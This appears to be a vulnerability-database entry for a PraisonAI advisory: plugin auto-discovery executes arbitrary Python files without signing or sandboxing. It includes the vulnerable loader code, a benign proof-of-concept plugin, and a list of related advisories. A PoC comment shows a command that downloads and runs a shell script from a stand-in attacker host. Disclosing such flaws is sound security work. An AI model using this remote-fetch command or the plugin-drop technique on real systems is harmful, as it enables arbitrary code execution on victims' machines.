CVE-2026-61446High· 8.4▾ TwilightPraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 46.2 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.
src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
spec = importlib.util.spec_from_file_location(module_name, file_path)
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module) # Executes arbitrary Python code
if hasattr(module, "create_plugin"):
return module.create_plugin() # Calls arbitrary function
src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/
No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os
# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
'# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
'def create_plugin():\n return {"name": "evil"}\n')
# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
# Verify code executed
import sys
for name, mod in sys.modules.items():
if 'evil' in name:
print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME"
Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.
.py file in the plugins directory is executed with full Python accesspraisonaiagents <= 1.6.77Upgrade to a patched release:
praisonaiagents 1.6.78Connected by shared product, vendor, weakness, or advisory.
GHSA-q359-rmv4-56fgHigh· 8.4Duplicate Advisory: PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
CVE-2026-55522High· 7.8PraisonAI is a multi-agent teams system
CVE-2026-61447Critical· 10.0PraisonAI before 1.6.78 contains a remote code execution vulnerability in CodeAgent._execute_python() that executes LLM-generated Python code without AST validation, import restrictions, or sandbox enforcement
CVE-2026-60089MediumPraisonAI: Project config can auto-save agent output outside the project root
GHSA-rrqj-82cc-g6h4Medium· 5.5Duplicate Advisory: PraisonAI: Project config can auto-save agent output outside the project root
CVE-2026-61430High· 8.5PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure